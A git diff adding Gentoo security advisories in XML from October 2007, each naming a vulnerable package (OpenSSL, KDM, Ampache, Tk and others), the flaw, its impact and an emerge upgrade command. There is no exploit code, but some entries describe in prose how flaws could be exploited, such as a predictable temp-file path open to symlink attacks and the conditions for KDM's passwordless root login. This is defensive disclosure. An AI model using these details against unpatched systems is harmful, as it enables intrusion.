+    overwrite arbitrary files and execute arbitrary code with another user's
+    rights.
+  </synopsis>
+  <product type="ebuild">qgit</product>
+  <announced>October 07, 2007</announced>
+  <revised>October 07, 2007: 01</revised>
+  <bug>190697</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-util/qgit" auto="yes" arch="*">
+      <unaffected range="ge">1.5.7</unaffected>
+      <vulnerable range="lt">1.5.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    QGit is a graphical interface to git repositories that allows you to
+    browse revisions history, view patch content and changed files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Raphael Marichez discovered that the DataLoader::doStart() method
+    creates temporary files in an insecure manner and executes them.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could perform a symlink attack, possibly overwriting
+    files or executing arbitrary code with the rights of the user running
+    QGit.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All QGit users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-util/qgit-1.5.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-4631">CVE-2007-4631</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 24 Sep 2007 08:55:56 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 24 Sep 2007 08:56:46 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 07 Oct 2007 18:55:10 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-06.xml b/xml/htdocs/security/en/glsa/glsa-200710-06.xml
new file mode 100644
index 00000000..29712a88
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-06.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-06">
+  <title>OpenSSL: Multiple vulnerabilities</title>
+  <synopsis>
+    A buffer underflow vulnerability and an information disclosure
+    vulnerability have been discovered in OpenSSL.
+  </synopsis>
+  <product type="ebuild">openssl</product>
+  <announced>October 07, 2007</announced>
+  <revised>October 07, 2007: 01</revised>
+  <bug>188799</bug>
+  <bug>194039</bug>
+  <access>local, remote</access>
+  <affected>
+    <package name="dev-libs/openssl" auto="yes" arch="*">
+      <unaffected range="ge">0.9.8e-r3</unaffected>
+      <vulnerable range="lt">0.9.8e-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSL is an implementation of the Secure Socket Layer and Transport
+    Layer Security protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Moritz Jodeit reported an off-by-one error in the
+    SSL_get_shared_ciphers() function, resulting from an incomplete fix of
+    CVE-2006-3738. A flaw has also been reported in the
+    BN_from_montgomery() function in crypto/bn/bn_mont.c when performing
+    Montgomery multiplication.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker sending a specially crafted packet to an application
+    relying on OpenSSL could possibly execute arbitrary code with the
+    privileges of the user running the application. A local attacker could
+    perform a side channel attack to retrieve the RSA private keys.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSSL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/openssl-0.9.8e-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3738">CVE-2006-3738</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3108">CVE-2007-3108</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5135">CVE-2007-5135</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 10 Sep 2007 06:24:11 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 10 Sep 2007 06:24:24 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 06 Oct 2007 13:14:06 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-07.xml b/xml/htdocs/security/en/glsa/glsa-200710-07.xml
new file mode 100644
index 00000000..fb72ee82
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-07.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-07">
+  <title>Tk: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow vulnerability has been discovered in Tk.
+  </synopsis>
+  <product type="ebuild">tk</product>
+  <announced>October 07, 2007</announced>
+  <revised>October 07, 2007: 01</revised>
+  <bug>192539</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/tk" auto="yes" arch="*">
+      <unaffected range="ge">8.4.15-r1</unaffected>
+      <vulnerable range="lt">8.4.15-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Tk is a toolkit for creating graphical user interfaces.
+    </p>
+  </background>
+  <description>
+    <p>
+    Reinhard Max discovered a boundary error in Tk when processing an
+    interlaced GIF with two frames where the second is smaller than the
+    first one.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted GIF
+    image with a Tk-based software, possibly resulting in the execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Tk users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/tk-8.4.15-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4851">CVE-2007-4851</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 25 Sep 2007 09:49:33 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 25 Sep 2007 09:49:45 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 02 Oct 2007 20:07:14 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-08.xml b/xml/htdocs/security/en/glsa/glsa-200710-08.xml
new file mode 100644
index 00000000..439245b0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-08.xml
@@ -0,0 +1,100 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-08">
+  <title>KOffice, KWord, KPDF, KDE Graphics Libraries: Stack-based buffer overflow</title>
+  <synopsis>
+    KPDF includes code from xpdf that is vulnerable to a stack-based buffer
+    overflow.
+  </synopsis>
+  <product type="ebuild">koffice, kword, kdegraphics, kpdf</product>
+  <announced>October 09, 2007</announced>
+  <revised>October 09, 2007: 01</revised>
+  <bug>187139</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/koffice" auto="yes" arch="*">
+      <unaffected range="ge">1.6.3-r1</unaffected>
+      <vulnerable range="lt">1.6.3-r1</vulnerable>
+    </package>
+    <package name="app-office/kword" auto="yes" arch="*">
+      <unaffected range="ge">1.6.3-r1</unaffected>
+      <vulnerable range="lt">1.6.3-r1</vulnerable>
+    </package>
+    <package name="kde-base/kdegraphics" auto="yes" arch="*">
+      <unaffected range="ge">3.5.7-r1</unaffected>
+      <vulnerable range="lt">3.5.7-r1</vulnerable>
+    </package>
+    <package name="kde-base/kpdf" auto="yes" arch="*">
+      <unaffected range="ge">3.5.7-r1</unaffected>
+      <vulnerable range="lt">3.5.7-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KOffice is an integrated office suite for KDE. KWord is the KOffice
+    word processor. KPDF is a KDE-based PDF viewer included in the
+    kdegraphics package.
+    </p>
+  </background>
+  <description>
+    <p>
+    KPDF includes code from xpdf that is vulnerable to an integer overflow
+    in the StreamPredictor::StreamPredictor() function.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted PDF
+    file in KWord or KPDF that would exploit the integer overflow to cause
+    a stack-based buffer overflow in the StreamPredictor::getNextLine()
+    function, possibly resulting in the execution of arbitrary code with
+    the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All KOffice users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/koffice-1.6.3-r1&quot;</code>
+    <p>
+    All KWord users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/kword-1.6.3-r1&quot;</code>
+    <p>
+    All KDE Graphics Libraries users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kdegraphics-3.5.7-r1&quot;</code>
+    <p>
+    All KPDF users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kpdf-3.5.7-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3387">CVE-2007-3387</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 08 Sep 2007 22:26:21 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 08 Sep 2007 23:59:58 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 07 Oct 2007 16:13:55 +0000">
+    aetius
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-09.xml b/xml/htdocs/security/en/glsa/glsa-200710-09.xml
new file mode 100644
index 00000000..572f8d64
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-09.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-09">
+  <title>NX 2.1: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    NX in the 2.1 series uses XFree86 4.3 code which is prone to an integer
+    overflow vulnerability.
+  </synopsis>
+  <product type="ebuild">nx, nxnode</product>
+  <announced>October 09, 2007</announced>
+  <revised>October 09, 2007: 01</revised>
+  <bug>192712</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/nx" auto="yes" arch="*">
+      <unaffected range="ge">3.0.0</unaffected>
+      <vulnerable range="lt">3.0.0</vulnerable>
+    </package>
+    <package name="net-misc/nxnode" auto="yes" arch="*">
+      <unaffected range="ge">3.0.0-r3</unaffected>
+      <vulnerable range="lt">3.0.0-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    NoMachine's NX establishes remote connections to X11 desktops over
+    small bandwidth links. NX and NX Node are the compression core
+    libraries, whereas NX is used by FreeNX and NX Node by the binary-only
+    NX servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans reported an integer overflow within the FreeType PCF font
+    file parser (CVE-2006-1861). NX and NX Node are vulnerable to this due
+    to shipping XFree86 4.3.0, which includes the vulnerable FreeType code.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these integer overflows by enticing a
+    user to load a specially crafted PCF font file which might lead to the
+    execution of arbitrary code with the privileges of the user on the
+    machine running the NX server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All NX users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/nx-3.0.0&quot;</code>
+    <p>
+    All NX Node users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/nxnode-3.0.0-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1861">CVE-2006-1861</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200607-02.xml">GLSA 200607-02</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 20 Sep 2007 13:00:55 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 20 Sep 2007 13:01:53 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 02 Oct 2007 16:18:36 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-10.xml b/xml/htdocs/security/en/glsa/glsa-200710-10.xml
new file mode 100644
index 00000000..baaa4206
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-10.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-10">
+  <title>SKK Tools: Insecure temporary file creation</title>
+  <synopsis>
+    SKK insecurely creates temporary files.
+  </synopsis>
+  <product type="ebuild">skktools</product>
+  <announced>October 12, 2007</announced>
+  <revised>October 12, 2007: 01</revised>
+  <bug>193121</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-i18n/skktools" auto="yes" arch="*">
+      <unaffected range="ge">1.2-r1</unaffected>
+      <vulnerable range="lt">1.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SKK is a Japanese input method for Emacs.
+    </p>
+  </background>
+  <description>
+    <p>
+    skkdic-expr.c insecurely writes temporary files to a location in the
+    form $TMPDIR/skkdic$PID.{pag,dir,db}, where $PID is the process ID.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the directory where the
+    temporary files are written, pointing to a valid file somewhere on the
+    filesystem that is writable by the user running the SKK software. When
+    SKK writes the temporary file, the target valid file would then be
+    overwritten with the contents of the SKK temporary file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SKK Tools users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-i18n/skktools-1.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3916">CVE-2007-3916</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 20 Sep 2007 19:17:24 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 20 Sep 2007 19:18:40 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 07 Oct 2007 20:45:18 +0000">
+    aetius
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-11.xml b/xml/htdocs/security/en/glsa/glsa-200710-11.xml
new file mode 100644
index 00000000..05d5cea7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-11.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-11">
+  <title>X Font Server: Multiple Vulnerabilities</title>
+  <synopsis>
+    Three vulnerabilities have been discovered in the X Font Server possibly
+    allowing local attackers to gain elevated privileges.
+  </synopsis>
+  <product type="ebuild">xfs</product>
+  <announced>October 12, 2007</announced>
+  <revised>October 12, 2007: 01</revised>
+  <bug>185660</bug>
+  <bug>194606</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-apps/xfs" auto="yes" arch="*">
+      <unaffected range="ge">1.0.5</unaffected>
+      <vulnerable range="lt">1.0.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The X.Org X11 X Font Server provides a standard mechanism for an X
+    server to communicate with a font renderer.
+    </p>
+  </background>
+  <description>
+    <p>
+    iDefense reported that the xfs init script does not correctly handle a
+    race condition when setting permissions of a temporary file
+    (CVE-2007-3103). Sean Larsson discovered an integer overflow
+    vulnerability in the build_range() function possibly leading to a
+    heap-based buffer overflow when handling "QueryXBitmaps" and
+    "QueryXExtents" protocol requests (CVE-2007-4568). Sean Larsson also
+    discovered an error in the swap_char2b() function possibly leading to a
+    heap corruption when handling the same protocol requests
+    (CVE-2007-4990).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    The first issue would allow a local attacker to change permissions of
+    arbitrary files to be world-writable by performing a symlink attack.
+    The second and third issues would allow a local attacker to execute
+    arbitrary code with privileges of the user running the X Font Server,
+    usually xfs.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All X Font Server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-apps/xfs-1.0.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3103">CVE-2007-3103</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4568">CVE-2007-4568</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4990">CVE-2007-4990</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 11 Oct 2007 20:30:03 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 11 Oct 2007 21:39:17 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 11 Oct 2007 21:39:34 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-12.xml b/xml/htdocs/security/en/glsa/glsa-200710-12.xml
new file mode 100644
index 00000000..54532bd4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-12.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-12">
+  <title>T1Lib: Buffer overflow</title>
+  <synopsis>
+    T1Lib is vulnerable to a buffer overflow allowing for the user-assisted
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">t1lib</product>
+  <announced>October 12, 2007</announced>
+  <revised>October 12, 2007: 01</revised>
+  <bug>193437</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/t1lib" auto="yes" arch="*">
+      <unaffected range="ge">5.0.2-r1</unaffected>
+      <vulnerable range="lt">5.0.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    T1Lib is a library for rasterizing bitmaps from Adobe Type 1 fonts.
+    </p>
+  </background>
+  <description>
+    <p>
+    Hamid Ebadi discovered a boundary error in the
+    intT1_EnvGetCompletePath() function which can lead to a buffer overflow
+    when processing an overly long filename.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a font file with a
+    specially crafted filename, possibly leading to the execution of
+    arbitrary code with the privileges of the user running the application
+    using T1Lib.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All T1Lib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/t1lib-5.0.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4033">CVE-2007-4033</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 26 Sep 2007 12:38:38 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Sep 2007 12:39:08 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 08 Oct 2007 00:05:38 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-13.xml b/xml/htdocs/security/en/glsa/glsa-200710-13.xml
new file mode 100644
index 00000000..242999a6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-13.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-13">
+  <title>Ampache: Multiple vulnerabilities</title>
+  <synopsis>
+    An SQL injection vulnerability and a possible identity theft have been
+    discovered in Ampache.
+  </synopsis>
+  <product type="ebuild">ampache</product>
+  <announced>October 13, 2007</announced>
+  <revised>October 13, 2007: 01</revised>
+  <bug>189607</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/ampache" auto="yes" arch="*">
+      <unaffected range="ge">3.3.3.5</unaffected>
+      <vulnerable range="lt">3.3.3.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ampache is a PHP-based tool for managing, updating and playing audio
+    files via a web interface.
+    </p>
+  </background>
+  <description>
+    <p>
+    LT discovered that the "match" parameter in albums.php is not properly
+    sanitized before being processed. The Ampache development team also
+    reported an error when handling user sessions.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could provide malicious input to the application,
+    possibly resulting in the execution of arbitrary SQL code. He could
+    also entice a user to open a specially crafted link to steal the user's
+    session.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ampache users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/ampache-3.3.3.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4437">CVE-2007-4437</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4438">CVE-2007-4438</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 17 Sep 2007 21:08:28 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 17 Sep 2007 21:08:38 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 02 Oct 2007 19:57:29 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-14.xml b/xml/htdocs/security/en/glsa/glsa-200710-14.xml
new file mode 100644
index 00000000..c9b1008c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-14.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-14">
+  <title>DenyHosts: Denial of Service</title>
+  <synopsis>
+    DenyHosts does not correctly parse log entries, potentially causing a
+    remote Denial of Service.
+  </synopsis>
+  <product type="ebuild">denyhosts</product>
+  <announced>October 13, 2007</announced>
+  <revised>October 13, 2007: 01</revised>
+  <bug>181213</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-admin/denyhosts" auto="yes" arch="*">
+      <unaffected range="ge">2.6-r1</unaffected>
+      <vulnerable range="lt">2.6-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    DenyHosts is designed to monitor SSH servers for repeated failed login
+    attempts.
+    </p>
+  </background>
+  <description>
+    <p>
+    Daniel B. Cid discovered that DenyHosts used an incomplete regular
+    expression to parse failed login attempts, a different issue than GLSA
+    200701-01.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote unauthenticated attacker can add arbitrary hosts into the
+    blacklist, including the "all" keyword, by submitting specially crafted
+    version identification strings to the SSH server banner. An attacker
+    may use this to prevent legitimate users from accessing a host
+    remotely.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All DenyHosts users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/denyhosts-2.6-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4323">CVE-2007-4323</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 06 Oct 2007 13:32:04 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 06 Oct 2007 13:32:42 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 07 Oct 2007 22:16:56 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-15.xml b/xml/htdocs/security/en/glsa/glsa-200710-15.xml
new file mode 100644
index 00000000..80b10d28
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-15.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-15">
+  <title>KDM: Local privilege escalation</title>
+  <synopsis>
+    KDM allows logins without password under certain circumstances allowing a
+    local user to gain elevated privileges.
+  </synopsis>
+  <product type="ebuild">KDM</product>
+  <announced>October 14, 2007</announced>
+  <revised>October 14, 2007: 01</revised>
+  <bug>192373</bug>
+  <access>local</access>
+  <affected>
+    <package name="kde-base/kdm" auto="yes" arch="*">
+      <unaffected range="ge">3.5.7-r2</unaffected>
+      <vulnerable range="lt">3.5.7-r2</vulnerable>
+    </package>
+    <package name="kde-base/kdebase" auto="yes" arch="*">
+      <unaffected range="ge">3.5.7-r4</unaffected>
+      <vulnerable range="lt">3.5.7-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDM is the Display Manager for the graphical desktop environment KDE.
+    It is part of the kdebase package.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kees Huijgen discovered an error when checking the credentials which
+    can lead to a login without specifying a password. This only occurs
+    when auto login is configured for at least one user and a password is
+    required to shut down the machine.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could gain root privileges and execute arbitrary
+    commands by logging in as root without specifying root's password.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All KDM users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kdm-3.5.7-r2&quot;</code>
+    <p>
+    All kdebase users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kdebase-3.5.7-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4569">CVE-2007-4569</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 08 Oct 2007 00:34:30 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 08 Oct 2007 00:49:35 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 08 Oct 2007 02:58:05 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-16.xml b/xml/htdocs/security/en/glsa/glsa-200710-16.xml
new file mode 100644
index 00000000..0b128228
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-16.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
